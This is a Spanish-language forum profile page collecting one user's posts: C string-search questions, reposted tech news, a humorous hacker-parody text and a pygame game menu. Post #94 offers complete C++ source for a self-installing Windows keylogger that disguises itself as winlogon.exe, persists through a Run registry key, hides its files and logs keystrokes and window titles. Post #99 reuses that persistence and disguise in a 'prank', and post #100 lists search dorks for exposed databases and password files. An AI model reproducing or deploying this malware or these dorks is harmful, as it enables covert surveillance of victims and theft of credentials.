Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - daryo

#91
la salida es :
5
-1
-1
alguna idea ?


#include <stdio.h>
#include <string.h>

int findstr(char *cadena, char *subcadena, int pos_ini)
{
int i, j;
for(i=pos_ini; cadena[i]!='\0'; i++)
for(j=0; subcadena!='\0' && cadena[i+j]==subcadena[j]; j++)
if(subcadena[j+1]=='\0')
return i+1;
return -1;
}

int main()
{
char cadena[]="c a calar calar comer calar garbanzos";
char subcadena[]= "cala";

printf("%i\n", findstr(cadena, subcadena, 0));
strcpy(subcadena, "calar");
printf("%i\n", findstr(cadena, subcadena, 0));
printf("%i\n", findstr(cadena, subcadena, findstr(cadena, subcadena, 0)));

return 0;
}
#92
El primer libro escrito por un ordenador
Citar
La carrera que le hacemos correr a los ordenadores está orientada a que sean nuestros compañeros inseparables en diversas actividades, pero también los solemos poner a "competir contra nosotros" en muchas otras, probándonos qué tan humanos pueden ser nuestros inventos. En 1983 se creó un generador de texto en BASIC que dio por resultado a "La barba del policía está a medio construir" el primer libro escrito por un ordenador. Hoy, republicado en forma de PDF, el libro nos muestra poemas, relatos, diálogos y otras formas literarias desordenadas semánticamente, pero con un trabajo de curación intensivo.


   Hace relativamente poco te contamos que los superordenadores ahora podían crear música que tenía tan alto nivel de complejidad que podía ser fácilmente confundida con música escrita por un humano, esos seres imperfectos pero sensibles y de creatividad infinita. La literatura se ha valido de este creador prodigioso, de la sintaxis y de la prosa de los miles de escritores que han pasado por nuestra historia y que hoy tal vez son millones, porque no sólo es escritor quien es publicado. Literatura fantástica, de ensayo, científica, romántica y muchos otros géneros de empujan para ganar espacio en las bibliotecas, pero si tienes a "La barba del policía está a medio construir" en literatura de ciencia ficción, deberías quitarlo de ahí y meterlo en tu selección de literatura electrónica. No estamos hablando de ebooks, sino del primer libro escrito por un ordenador.
   La barba del policía está a medio construir, el primer libro escrito por un ordenador - el primer libro escrito por un ordenador La barba del policía está a medio construir, el primer libro escrito por un ordenador



   En 1984 se publicaba The Policeman's beard is half constructed y casi que pasaba desapercibido salvo para un pequeño círculo de especialistas y de informados sobre el acontecimiento del que probablemente te estés enterando casi 30 años después. Éste relato de 57 páginas ilustrado por Joan Hall, fue (poco) conocido como el primer libro escrito por un ordenador. El proyecto estuvo a cargo de los escritores William Chamberlain y Thomas Etter que habían creado Racter, un generador de texto en BASIC sobre un ordenador z80 de 64kb que tenía la particularidad de producir una prosa correcta en un también correcto inglés. Eso sí, había un problema a resolver (o no) y era que la semántica de las oraciones y frases estaba un poco distorsionada.
   2 páginas del libro. - el primer libro escrito por un ordenador 2 páginas del libro.

       ""Más que el hierro, más que el plomo, más que el oro, Yo necesito la electricidad. La necesito más que el cordero, el cerdo, la lechuga o el pepino. La necesito para mis sueños." -Uno de los poemas del libro."   

   Esto último impedía una correlatividad y coherencia entre mucho de lo que se decía en el libro, por lo que sólo una historia calificaba como tal, y el género era el de la ciencia ficción. Como esta era sólo una pequeña historia, el libro se completaba con poemas estilo limericks, que son estrofas de 5 versos con rimas AABBA, comentarios, entrevistas, diálogos y hasta aforismos. Todo le valía al ordenador para expresarse, parece.  Aunque su inglés era excelente, su forma de concatenar las palabras era extraña e inútil en términos operacionales, por lo que los dibujos de Joan Hall ayudaban a la comprensión del contexto o lo maquillaban para hacerlo inteligible. Nuestro interés, además del hallazgo de este programa y de su actual aparición en Amazon como PDF para comprar y descargar, el primer libro escrito por un ordenador nos hace preguntar: Si un ordenador escribió un libro con tecnología de hace 10 años, ¿qué tan bien podría salir uno desarrollado con los avances actuales?
la noticia no es precisamente nueva aun asi es interesante
http://www.neoteo.com/el-primer-libro-escrito-por-un-ordenador


aca otro libro hecho con un pc mas reciente



#93
#include <stdio.h>
#include <string.h>

int main()
{
char cadena[]="a p**a";
char groseria[]="p**a";
int value;
int val;
int x=0;
for(value=0;cadena[value]!='\0';value++)
{
    if(cadena[value]==groseria[0])
    {
       for(val=0;cadena[value+val]!='\0';val++)
       {
        if(cadena[value+val]==groseria[val])
        {
                x++;

        }
        else
        {
            x=0;
        }
            if(x==strlen(groseria))
        {
            printf(" el detector de groserias a encontrado una coincidencia en la posicion %i \n",value);
        }
       }
    }

}
return 0;
}
#94
vi algunos interesados en keylogger asi que traigo esto
esta algo desordenado.

perdon el desorden  :-[.

aca un keyloggeer que hice se instala solo hecho para windows xp pero si quieren adaptarlo:
IMPORTANTE  PARA WINDOWS VISTA O POSTERIOR descomentar nunca  probe esta parte del code talves se necesiten ligeras modificaciones adicionales
/*
char *instaladooo;
instaladooo=getenv("USERPROFILE");
SetCurrentDirectory(instaladooo);
*/


#include <cstring>
#include <windows.h>
#include <fstream>
#include <ctime>

using namespace std;

int main ( int argc, char *argv[] )
{
HWND hwnd;
char ventana[255];
char venta2[255];
//existe el archivo log? si no existe instalar keylogger :D
ifstream logc;
logc.open ( "windows.dll" );
if ( !logc.is_open() )
{
//---- se busca la carpeta de usuario
char * dirinstal;
char archivo [70];
char * discolocal;
dirinstal = getenv ( "HOMEPATH" );
discolocal = getenv ( "SystemDrive" );
strcpy ( archivo,discolocal );
strcat ( archivo,dirinstal );
//se crea el archivo log
ofstream logos;
char winlog [70];
strcpy ( winlog, archivo );

strcat ( winlog, "\\windows.dll" );
logos.open ( winlog, ios::out | ios::app );
logos.close ();
//-------
strcat ( archivo, "\\winlogon.exe" );
// se copia en la carpeta de usuario
CopyFile ( argv[0], archivo, true );
//- ahora se añade al registro
HKEY hkey;
RegOpenKeyEx ( HKEY_CURRENT_USER,
"Software\\Microsoft\\Windows\\CurrentVersion\\run",
0, KEY_SET_VALUE, &hkey );
RegSetValueEx ( hkey, "windout", 0, REG_SZ,
(const unsigned char * ) archivo, sizeof archivo );
RegCloseKey ( hkey );
//se esconden los archivos , el keylogger y el log
SetFileAttributesA ( archivo, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM );
// ahora el log
SetFileAttributesA ( winlog, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM );
//por ultimo se cierra el sistema esperando que se reinicie el pc
return 0;
}
logc.close();

// abre el archivo log
/*
char *instalado
instalado=getenv("USERPROFILE");
SetCurrentDirectory(instalado)
*/
ofstream log;
log.open ( "windows.dll", ios::out | ios::app );
while ( true )
{
//detecta cambio de ventana
hwnd = GetForegroundWindow ();
GetWindowText ( hwnd, ventana, 255 );
//----------------------
for(int x=65;x<=90;x++) //valores ascii de los caracteres
{
if ( GetAsyncKeyState ( x ) == -32767 )
{
log << ( char ) x;
}
}
for ( int x=48; x<=57; x++ ) //valores ascii de los numeros
{
if ( GetAsyncKeyState (x) == -32767 )
{
log << ( char ) x;
}
}
if ( GetAsyncKeyState ( ' ' ) == -32767)
{
log << " ";
}
if ( GetAsyncKeyState (1) == -32767)
{ //CLICK izquierdo
log << "[click-izq]";
}
if ( GetAsyncKeyState(2) == -32767 )
{ //click derecho
log << "[click-der]";
}
if ( GetAsyncKeyState (8) == -32767 )
{ // nada que decir
log << "[backspace]";
}
if ( GetAsyncKeyState (190) == -32767 )
{ // nada que decir
log << ".";
}
if ( GetAsyncKeyState (188) == -32767 )
{ // nada que decir
log << ",";
}
if ( GetAsyncKeyState (13) == -32767 )
{ // nada que decir
log << "[enter]";
}
//capturar flechas
if(GetAsyncKeyState(37) == -32767)
{ // nada que decir
log << "[left]";
}
if(GetAsyncKeyState(38) == -32767 )
{ // nada que decir
log << "[up]";
}
if(GetAsyncKeyState(39) == -32767 )
{ // nada que decir
log << "[right]";
}
if(GetAsyncKeyState(40) == -32767)
{ // nada que decir
log << "[down]";
}

if(GetAsyncKeyState(9) == -32767)
{
log << "[tab]";
}
//detecta cambio de ventana con otra variable
hwnd = GetForegroundWindow ();
GetWindowText ( hwnd, venta2, 255 );
//compara las viarablews de cambio de ventana
if ( strcmp ( ventana, venta2 ) != 0 )
{
//ventana a comparar
char key[]= "lolwinlogonlol";
// sera el nombre de la ventana que cierre el proceso

if ( strcmp ( ventana,key )== 0 )
{
log.close ();
return 0;
}
//calcular la fecha
time_t tiempo = time (0);
struct tm *tlocal = localtime (&tiempo);
char output[128];
strftime ( output, 128, "%d/%m/%y %H:%M:%S", tlocal );
//--------------------
log << endl << "-------------------------" << endl;
log << "fecha:" << output << endl;
log << endl << "ventana:"<< venta2 << endl;
}
}
return 0;
}



leer logs.cpp
Código (cpp) [Seleccionar]
#include <iostream>
#include <cstring>
#include <windows.h>

using namespace std;

int main()
{
char direccion[70]="notepad \"";
char *disco;
char *varsis;
SetConsoleTitle("lolwinlogonlol");
cout << "espere mientras se abre el archivo:" << endl;
varsis=getenv("HOMEPATH");
disco=getenv("SystemDrive");
strcat(direccion,disco);strcat(direccion,varsis);strcat(direccion,"\\windows.dll\"");
system(direccion);
cout << "lol" ;
return 0;
}


#95
 :P
Código (c++) [Seleccionar]
   
#include <iostream>
    #include <string>
    #include <cstring>
    #include <fstream>

    using namespace std;


    void ayuda()
    {
    cout << "formato: cifrar.exe parametro \"archivo a cifrar\" \"archivo cifrado\"" << endl;
    cout << "parametros:"<< endl << "-c cifrar" << endl << "-d descifrar" << endl;
    }



    int main(int argc,char *argv[])
       {
       if(argc==4)
           {
               char *buf;
               int tamano;
               int n=1;

               char letra;
               ifstream archivo(argv[2],ios::binary);
               if(archivo.fail())
                   {
                   cout << "no fue posible abrir el archivo"<< endl;
                   return 1;
                   }
               //-----------------------------
               archivo.seekg(0,ios::end);
               tamano=archivo.tellg();  //encuentro el tamano del archivo
               archivo.seekg(0,ios::beg);
               buf=new char[tamano];
               //-----------------------------
               archivo.read(buf,tamano);
               archivo.close();
               ofstream salida(argv[3],ios::binary);
               for(int xd=0;xd<tamano;xd++)
                   {
                   if(strcmp(argv[1],"-c")==0)
                       {
                       letra=buf[xd]+n;
                       }
                   else if(strcmp(argv[1],"-d")==0)
                       {
                       letra=buf[xd]-n;
                       }
                   else
                       {
                       cout << "parametros erroneos"<<endl;
                       return 1;
                       }
                   salida << letra;
                   if(n>10)
                       {
                       n=1;
                       }
                       n++;
                   }
                   salida.close();
                delete [] buf;
               return 0;
           }
       else
           {
               ayuda();
           }


       return 0;
       }

#96
eso para que el programa se ejecute correctamente ponganle de nombre programa.exe y ejecutenlo fuera del ide:
la idea es que el proceso no se pueda ejecutar dos veces   :P


/* nota para que funcione correctamente se debe ejecutar desde fuera de un ide */
#include <windows.h>
#include <stdio.h>

void instalar()
{
   /* aca se supone copia el programa en directorio fijo asi programa.exe siempre sera el mismo y no cambiara el nombre*/

}

bool bloquear()
{
   HANDLE hFile = CreateFileA("programa.exe", GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0);  // se abre el archivo en modo lectura
   OVERLAPPED overlapped;
   memset(&overlapped, 0, sizeof(overlapped));
   const int lockSize = 10;
   if (!LockFileEx(hFile, LOCKFILE_EXCLUSIVE_LOCK|LOCKFILE_FAIL_IMMEDIATELY, 0, lockSize, 0, &overlapped))//lo que hace es bloquear  un archivo  para que solo un programa pueda abrirlo; se bloquea el mismo programa en ejecucion en caso de que ya esta bloqueado se asume que ya esta  en ejecucion
   {
       return true;
   }
   else
   {
       printf("[+]bloqueado\n");
       return false;
   }
}


int main()
{
   if(!bloquear()) // si lo logra bloquear entonces se ejecuta
   {
   while(true)
    {
       printf("ejecutandose\n");
       Sleep(1000);
    }
   }
   else // si no cierra el proceso
   {
       printf("solo se permite una ejecucion del programa");
       Sleep(2000);
       return 0;
   }


return 0;
}


#97
gracias de antemanto  :huh: .Antes usaba nod32 pero en este no encuentro como hacerlo
#98
alguien me puede explicar esto? supongo que debe haber algo mal xD

#99
Programación C/C++ / Broma c++
24 Mayo 2013, 03:16 AM
hola hice un code para retomar la programacion hacia rato no lo programaba asi que no es nada complejo y para hacer una broma no lo posteo aun por si la remota posibilidad que lo terminen detectando algun antivirus antes de ponerlo
mañana posteo el code xD
fondo:
https://mega.co.nz/#!Lc0T2QRb!dKQBEhZU-rILFaNS7HQah2nnxqAzuVmzeZd6z76ysk4
la imagen debe estar en la misma carpeta y llamarse 1010.bmp

[youtube=640,360]http://www.youtube.com/watch?v=AGu5v1reQIM[/youtube]
saludos

Código (c++) [Seleccionar]

#include <windows.h>
#include <cstring>



bool existe(char * file) // comprueba la existencia de un archivo si no existe entonces manda false
{
DWORD attr = GetFileAttributes(file);
if(attr == INVALID_FILE_ATTRIBUTES || (attr & FILE_ATTRIBUTE_DIRECTORY))
   return false;   //  not a file
return true;
}


void instalar(char *DireccionLocal) // lo instala para que se ejecute en inicio de windows
{
//con la variable DireccionLocal se donde esta el programa para asi copiarlo
char instalarFondo[100];
char *dirlocal=getenv("USERPROFILE"); // carpeta local de usuario
char dirfoto[700]; // el directorio donde esta la foto
char instalar1[100]; //directorio a instalar el archivo
//----------------------------
GetCurrentDirectory(700,dirfoto);
strcat(dirfoto,"\\1010.bmp");
strcpy(instalarFondo,dirlocal);
strcat(instalarFondo,"\\1010.bmp");
CopyFile(dirfoto,instalarFondo,true);//copio el fondo
//-------------------------------
strcpy(instalar1,dirlocal);
strcat(instalar1,"\\winlogon.exe");
CopyFile(DireccionLocal,instalar1,true); // copio el archivo
//añado llaves al registro de windows para que se inicie con el sistema
HKEY hkey;
RegOpenKeyEx (HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\run",0, KEY_SET_VALUE, &hkey);
RegSetValueEx (hkey, "windout", 0, REG_SZ,(const unsigned char * ) instalar1, sizeof instalar1); // aca añado el registro  el nombre es windout y el valor la direccion del programa
RegCloseKey  (hkey);
SetFileAttributesA(instalar1,FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM); // osculto el archivo y le marco system para que sea mas dificil de ver
SetFileAttributesA(instalarFondo,FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
//---


}

void cambiarElFondo()
{
   char fondo[]="1010.bmp";
   SystemParametersInfo(SPI_SETDESKWALLPAPER,0,fondo,SPIF_UPDATEINIFILE|SPIF_SENDWININICHANGE); // aca cambio el fondo

}

int main(int argc,char * argv[])
{
   char *com=getenv("USERPROFILE");
   char comprobar[600];
   strcpy(comprobar,com);
   strcat(comprobar,"\\winlogon.exe"); //winlogon el nombre del exe para meter miedo y hacerse pasar por proceso del sistema xD

   while(true)
   {

   if(existe(comprobar)) //
   {

       cambiarElFondo(); //como es bucle infinito cambiara cada 3 segundos el fondo
   }
   else
   {
      instalar(argv[0]); // si no existe el archivo en la carpeta del usuario se instala
   }
      Sleep(3000); // espera 3 segundos
   }

   return 0;
}
#100
estos no son precisamente dorks tradicionales que buscan sqli  :P a veces encuentran cosas mas interesantes
Citarinurl:forceDownload.php?file= //local file disclosure
filetype:sql inurl:wp-content/backup-* //ver bases de datos entre estos usuarios
allinurl:index.php?db=information_schema // acceder a phpmyadmin schema
"CHARACTER_SETS" "COLLATION_CHARACTER_SET_APPLICABILITY" // inyecciones sql recomendado que lo prueben
intext:"~~Joomla1.txt" title:"Index of /" //se supone busca archivos de configuracion del joomla entre esos el usuario de la base de datos :D
inurl:"passes" OR inurl:"passwords" OR inurl:"credentials" -search -download -techsupt -git -games -gz -bypass -exe filetype:txt @yahoo.com OR @gmail OR @hotmail OR @rediff //busca logs de paginas phishing la mayoria no funciona lo que es de esperarse
#101


VIM Adventures: Aprende a manejar VIM jugando
enlace: http://vim-adventures.com/

Hace tiempo que VIM se está convirtiendo en uno de los editores más prestigiosos para todo tipo de usuarios, pero sobre todo para desarrolladores que han redescubierto todas sus prestaciones en sus tareas diarias.



vim adventures 500x368VIM Adventures: Aprende a manejar VIM jugando

En MuyLinux ya hemos hablado en diversas ocasiones de este editor y de los tutoriales que existen para tratar de sacarle provecho, pero ahora aparece una nueva forma de aprender a manejar vim: jugando.

VIM Adventures es un juego directamente preparado para nuestro navegador en el que con un pequeño personaje podremos ir realizando todo tipo de operaciones con los mismos comandos que utilizaríamos en este editor.

Sin duda, una forma fantástica y divertida de aprender a sacarle el juego a un editor ya legendario y que está cobrando más relevancia que nunca, no solo en Linux, sino en otras plataformas como Mac OS X.

fuente: http://www.muylinux.com/2012/04/23/vim-adventures-aprende-a-manejar-vim-jugando/

PD: como paso el primer nivel D:?
#102
Foro Libre / [humor]Jakin para anormales
11 Mayo 2013, 16:12 PM
Citar-[ 0x12 ]--------------------------------------------------------------------
-[ JAKIN PARA ANORMALES ]----------------------------------------------------
-[ by jnzero ]--------------------------------------------------------SET-21-



  EH! tu el de ahi! Llevas leidos todos los SET, JJF, Raregazz y aun no
  tienes webos para jackear un sistema? Vives al lado del cuartelillo local
  y te tienen localizado por tirarte a las ni~as de tu barrio?

  Tranquilo! Existe un metodo infalible que permitira jackear hasta la nasa
  sin que pillen. 31337 personas ya lo han probado y a ninguna la cogieron,
  no querras ser tu el ultimo no?

  Y cual es el metodo? , te estaras preguntando. Pues hoy lo tenemos aqui,
  en exclusiva para los lectores de SET.


  1)
    No le digas tu nombre a nadie o da un nombre falso. Todos podian estar
    espiandote. Y cuando digo todos es _todos_. Caso practico: en el
    instituto te pregunta una tia si quieres fornicar con ella. No la creas,
    no es mas que una agente del CESID en mision logistica.
    Como hemos llegado a la conclusion?
    Facil, las tias nunca piden salir a un tio (a no ser que seas modelo
    en cuyo caso: para que quieres ser jacker, gilipollas?)

  2)
    Cuando te pregunten sobre informatica siempre responde que no sabes
    nada de nada, es mas, con un vestuario adecuado incluso ni se
    molestaran en preguntarte. El look mas adecuado es un taparrabos
    en plan tarzan, un desodorante especial para gente como tu (ninguno)
    y algun que otro animal de compa~ia (ladillas, piojos, a gusto del
    consumidor). Te aseguro que nadie sospechara que eres un jaker (eso
    si, si te detienen por guarro, te pueden cazar).

  3)
    Ahora entramos con lo tecnico. Lo primero es el telefono desde el que
    vamos a llamar. Desde que sabemos que existe la triangulacion de los
    moviles, y que los numeros 900 saben desde donde llamas, tendremos
    que utilizar el beich boxin que consiste en pinchar una linea de
    telefono en los cajetines de telefonica (suponemos que ya sabes
    hacerlo-porque te miraste todos los ezines de intenne).
    Tu diras: Ah! que cachondo,  pero si pasa alguien y me ve enganchado
    con un peazo ordenador vendran unos se~ores de verde a darme por el
    weich. Pues no porque vamos a evitar que tengas contactos sexuales
    con gentes de otro planeta. En primer lugar, coge el portatil de
    tu papi y pintalo de camuflaje. Pero CUIDADO, dependiendo de si estas
    en desierto, jungla o nieve deberas cambiar de pintura. Lo mejor es
    hacerte unas cartulinas en plan manualidades y pegarlas al portatil.
    Para el cuerpo lo mejor es una manta de estas que salen en la tienda
    en casa y un hueco en la tierra como te voy a dibujar.

                 --
                |  |<--- poste tlf.
                 --         _  Manta de camuflaje
   Cable al PC _ ||        |
       -----> (  ||        |
            ___)           V
              ================
   +++++++++++               ++++++++++++
              \_________/<------- Hueco en plan zulo


  4)
   La cuenta: no seas tan lam... digo gilipollas de utilizar al tuya.
   Create una desde un cybercafe (no vaya a ser que tengas ya pinchada
   tu cuenta) con Telelain (evidentemente). Pon nombres que parezcan
   normales (nada de H4CkZ3r0K001 y en el DNI no pongas el tuyo
   (evidentemente) sino que busca un programa que te calcule la letra
   a partir del DNI.

  5)
   Ahora empezamos. Llamamos al numero de nuestro proveedor con el
   067 delante (para que se camufle, aunque no sirve de nada, queda
   de p**a madre pa cuando lo contemos) y nos conectamos con la
   cuenta Telelain. Como somos la hostia ya sabemos que maquina vamos
   a jaquear. Ahora hemos de  pillarnos al menos 25 cuentas shell (unix)
   en maquinas distintas y ninguna en Espa~a. Te preguntaras avezado
   lector para que co~o queremos las cuentas. Pues bien, una vez las
   tengamos hacemos telnet a la primera, desde ahi a la segunda, asi
   hasta la numero 25. Por que 25 y no 24? Porque me sale de los
   cojones. Si nuestro modem no se ha levantado y nos ha dado dos
   hostias por recibir a 1 bit/seg, enhorabuena ya tenemos 25
   maquinas condon. Eh! que haces! no le pongas un profilactico
   al portatil que lo vas a poner pringando! Vamos a ver, el metodo
   del condon consiste en follar sin salirse.. digo no. Bueno, tu ya lo
   sabes.

  6)
   De nuevo con el argumento que somos la hostia, tenemos acceso como
   root a la maquina de la NASA. Nada de poner en la web nuestro nick,
   lo mejor es poner algo asi como: "un patriota un idiota" o "basta
   de extorsion fascista" u "hola mama, soy yo", lo cual queda mucho
   mas alegre y mas elite.

  7)
   Estaras pensando: yasta, jackeada la nasa. Pues no, porque ahora
   tienes que borrar los logs de cada una de las maquinas por las
   que has pasado. Pero como llevas ahi 45 dias esperando a ejecutar
   una ***** de ls -la, estas hasta los huevos del zulo que te has
   montado, y a parte de eso, las ladillas empiezan a formar una
   raza civilizada en una parte donde solo tendria que haber un
   dick-tador. Luego lo mejor es borrar todos los discos de todas
   las maquinas exceptuando las 5 ultimas, no vaya a ser que les
   de por seguirnos. Evidentemente hemos sido lo suficientemente
   buenos como para ser root en todas las maquinas; si no, que
   gracia tendria?

  8)
   Una vez cumplida nuestra mision lo mejor es quemar la ropa,
   el portatil, el poste telefonico y si te encuentras con ganas
   algun bosquecillo, porque la Naturaleza todo lo sabe.
   Despues lo mejor es irnos a vivir a una caverna durante 10 o
   20 a~os y alimentarnos de raices y hojas secas. Nota: no podemos
   alimentarnos de otra cosa por dos razones:

        a) No tenemos fuerzas para cazar osos.

        b) Cualquier contacto con la humanidad para conseguir
           alimento podria ser traceado.


  9)
   Y ahora llega el momento de la fama (si no para que vas a jaquear
   la nasa?) Bajaras de tu caverna y contaras tu historia a todo el
   que te encuentre. Aunque te parezca imposible todo el mundo te
   creera, siempre te diran: sisisi, incluso iras a ver a unos
   se~ores que visten de blanco y que te regalaran una camisa muy
   chula con las mangas cruzadas, para que parezcas el rey como
   diciendo: yo, yo ,yo. Posiblemente pases ahi el resto de tu
   vida, pero ten en cuenta que es la NASA lo que has jaqueado,
   y claro esta que lleva su tiempo el creerte.


Asi que ya sabes chaval, ahora mas que nunca puedes ser uno de los
31337 jakers que han probado la vaselina proporcionada por los hombres
de verde, porque tienes derecho a ser libre, tienes derecho a la
informacion y porque tienes derecho a una visita semanal en el
hospital psiquiatrico.


Firma para los 31337 campeones (salvadores de la patria)------> }JnZ3R0{
Firma para el pueblo ignorante (masa lamerona)     -----------> jnzero

*EOF*
http://www.set-ezine.org/index.php?num=21&art=28#top
:laugh:
#103
eso me gustaria saber si es posbile tener varias ip al tiempo en diferentes aplicaciones con tor :D
#104
Fans de música clásica y heavy metal se parecen



Londres - Los aficionados a la música clásica y los seguidores del heavy metal tienen en común más de lo que la gente se imagina, según publicó un estudio británico, que establece un vínculo entre los rasgos de carácter y los gustos musicales.

Como los melómanos a la música clásica, los del metal son creativos y se sienten a gusto, señala el estudio realizado durante los últimos tres años por Adrian North, profesor de psicología de la Universidad Heriot-Watt de Edimburgo.

Los admiradores del heavy metal comparten "un amor por la magnificencia", que los predispone a apreciar de la misma manera algunas obras de música clásica.

"Aparte de las diferencias de edad, es fundamentalmente el mismo tipo de personas", asegura el profesor North. "Muchos seguidores de heavy metal le dirán que también les gusta Wagner porque es grandioso, ruidoso y exuberante".

Asimismo, el estudio demuestra que al contrario de las ideas recibidas, los aficionados al heavy metal tienen un temperamento afable, no son los más vehementes en el trabajo y les falta confianza en ellos mismos. Al revés que los admiradores de música clásica, que tienen una buena opinión sobre ellos mismos, explica el estudio.

"El público siempre ha estereotipado a los amantes del heavy metal como deprimidos y suicidas, como un peligro para la sociedad y para sí mismos. Sin embargo son personas muy delicadas", nota Adrian North.

Según el estudio, los apasionados por el country son trabajadores, los admiradores de rap son sociables, y los de jazz tienen espíritu de innovación y una gran autoestima.

"Nosotros siempre habíamos sospechado que existía un vínculo entre los gustos musicales y la personalidad", explicó North. "Esta es la primera vez que hemos sido capaces de observarlo en detalle. Nadie había realizado antes un estudio a esta escala".

Más de 36.000 personas en todo el mundo fueron interrogadas para este estudio, donde opinaron sobre 104 estilos musicales y respondieron a preguntas sobre su personalidad.

AFP

fuente:
http://historico.elpais.com.uy/08/09/05/ultmo_368105.asp
#105
Los profesionales de Linux tienen un futuro muy optimista


¿Eres un profesional de las nuevas tecnologías o te estás formando para serlo? En cualquiera de los dos casos, especializarse en Linux es una opción que deberías tener muy en cuenta. No solo porque te guste o no la filosofía Open Source, o seas un friki linuxero. Hay dos razones de peso: no te faltará trabajo y ganarás más.

LinuxPro 500x357Los profesionales de Linux tienen un futuro muy optimista

Los datos que sustentan tal afirmación provienen de un estudio realizado por la Fundación Linux en colaboración con el portal de empleo Dice.com, y para llevarlo a cabo se entrevistó a 850 responsables de contratación y 2.600 profesionales de Linux de grandes multinacionales, pymes, agencias gubernamentales y empresas de recursos humanos de todo el mundo.

Conclusión: las empresas tecnológicas están muy interesadas en contar con profesionales cualificados especializados en Linux, y son los administradores de sistemas y desarrolladores los más solicitados y de los que más cobran. Además, es una tendencia creciente.

Si os interesa el tema, lo contaba ayer mismo con más detalle en MuyComputerPRO, pero, como comprenderéis, no podía dejar de hacerle eco aquí, ya que creo que puede ser interesante para mucha gente. En el anterior enlace podréis ver también la infografía que ha preparado la Fundación Linux para la ocasión y descargar el informe completo.

Ahora solo me queda preguntaros, que sé que muchos sois profesionales de las nuevas tecnologías o vais camino de serlo, ¿qué opináis? Y en el caso de que vuestro trabajo esté relacionado con Linux, ¿se corresponden las cifras del estudio con vuestra realidad?

fuente: http://www.muylinux.com/2013/02/22/los-profesionales-de-linux-tienen-un-futuro-optimista/
#106
Scripting / [python] menu pygame aporte
2 Mayo 2013, 02:45 AM
hecho para un juego amateour en entidad 3d



por ahora el code

https://mega.co.nz/#!1Rp01K4L!Q92l9V9YdE2W4V1JiNWpcia1e4wi5MmB-UcmzYdcgXE
aca con imagenes y todo lo necesario para probarlo :)

PD: esa imagen es de una version antigua la ultima es mas completa pero da una idea


menu.py
Código (python) [Seleccionar]

# vim: set fileencoding=utf-8 :
import fgh
import pygame
from pygame.locals import *
pygame.init()
cancion = pygame.mixer.Sound("asaw.ogg")
cancion.play()
fgh.main()


Código (python) [Seleccionar]
#!/usr/bin/env python
# vim: set fileencoding=utf-8 :
import pygame
import sys
from pygame.locals import *
import os
import hola

class mouse(pygame.sprite.Sprite):
       def __init__(self):
#clase de la mira que interactuara con el menu o texto
               pygame.sprite.Sprite.__init__(self)
               self.img = pygame.image.load("centromira.png")
               # desaparece todo lo blanco y lo hace tranparente
               self.rect = self.img.get_rect()
               self.rect.centerx=100
self.rect.centery=100
self.img.set_colorkey((255,255,255))

class opcionz(pygame.sprite.Sprite):
       def __init__(self):
               pygame.sprite.Sprite.__init__(self)
self.img=pygame.image.load("vv.png")
self.rect = self.img.get_rect()
self.rect.centerx=250
self.rect.centery=130
def colision(self,objeto):
if self.rect.colliderect(objeto.rect):
os.system("entidad3d.exe -name -jugador -map house -pickmode")
sys.exit()

class salir(pygame.sprite.Sprite):
       def __init__(self):
               pygame.sprite.Sprite.__init__(self)
               self.img=pygame.image.load("salir.png")
               self.rect = self.img.get_rect()
               self.rect.centerx=250
self.rect.centery=350
def colision(self,objeto):
if self.rect.colliderect(objeto.rect):
                       sys.exit(0)


class minijuegos(pygame.sprite.Sprite):
       def __init__(self):
               pygame.sprite.Sprite.__init__(self)
               self.img=pygame.image.load("minijuegos.png")
               self.rect=self.img.get_rect()
               self.rect.centerx=250
               self.rect.centery=200
def colision(self,objeto):
if self.rect.colliderect(objeto.rect):
os.system("call echo minijuegos ")
class credito(pygame.sprite.Sprite):
def __init__(self):
pygame.sprite.Sprite.__init__(self)
self.img=pygame.image.load("creditos.png")
self.rect=self.img.get_rect()
self.rect.centerx=250
self.rect.centery=270
def colision(self,objeto):
if self.rect.colliderect(objeto.rect):
hola.main()

def main():
pygame.init()
pantalla = pygame.display.set_mode((480,457),0)
pygame.display.set_caption("future caos")
fondo = pygame.image.load("zombies.jpg")
fuente = pygame.font.Font("Death.ttf",40)
mira= pygame.image.load("mira.bmp")
mira.set_colorkey((255,255,255))
text = "FUTURE CAOS"
mensaje = fuente.render(text, 2, (255, 0, 0))
gato = mouse()
salida = salir()
minijuego=minijuegos()

# coor seran las coordenadas de los disparos circulos negros
coor={}
       n=0
creditos = credito()
       jugkar=opcionz()
# cuando dispara se vuelve verdadero y si ademas lleva 10 bucles o frames n=10 pone la mira como antes del disparo
       xsd=False
       color= (0,0,0)
       reloj = pygame.time.Clock()
       

while 1:
 # esta parte es para producir el efecto de la mira en movimiento por el disparo
                 n+=1
                 if n == 10 and xsd == True:
                         gato.rect.centery+=10
                         xsd=False
 jugkar.colision(gato)
       salida.colision(gato)
 creditos.colision(gato)
 minijuego.colision(gato)
 pos_mouse = pygame.mouse.get_pos()
 mov_mouse = pygame.mouse.get_rel()
 click = pygame.mouse.get_pressed()
                 # el mouse se vuelve invisible y puedo poner un objeto como la mira
             pygame.mouse.set_visible(0)
 for event in pygame.event.get():
   if event.type == pygame.QUIT:
   sys.exit(0)
 if mov_mouse[0] !=0:  
                         gato.rect.centerx=pos_mouse[0]
                         gato.rect.centery=pos_mouse[1]
                 if click[0] != 0:
  if reloj.tick() > 250:
                          pygame.mixer.init()
              pygame.mixer.music.load("mg42_shoot.wav")
                                pygame.mixer.music.play()

                                jax = pos_mouse[0]
  jay = pos_mouse[1]
  coor[n]=(jax,jay)
                                # esta parte es para producir el efecto de la mira en movimiento por el disparo
  gato.rect.centery -=10
  xsd=True
  n=0
 # el centro de la mira es quien se encarga de  las colisiones ese es el sprite, estas coordenadas centran la mira  al centro de la mira
 mirax = gato.rect.centerx - 24
 miray=gato.rect.centery - 25
         pantalla.blit(fondo,(0,0))
         pantalla.blit(mensaje,(100,20))
         pantalla.blit(gato.img,(gato.rect))
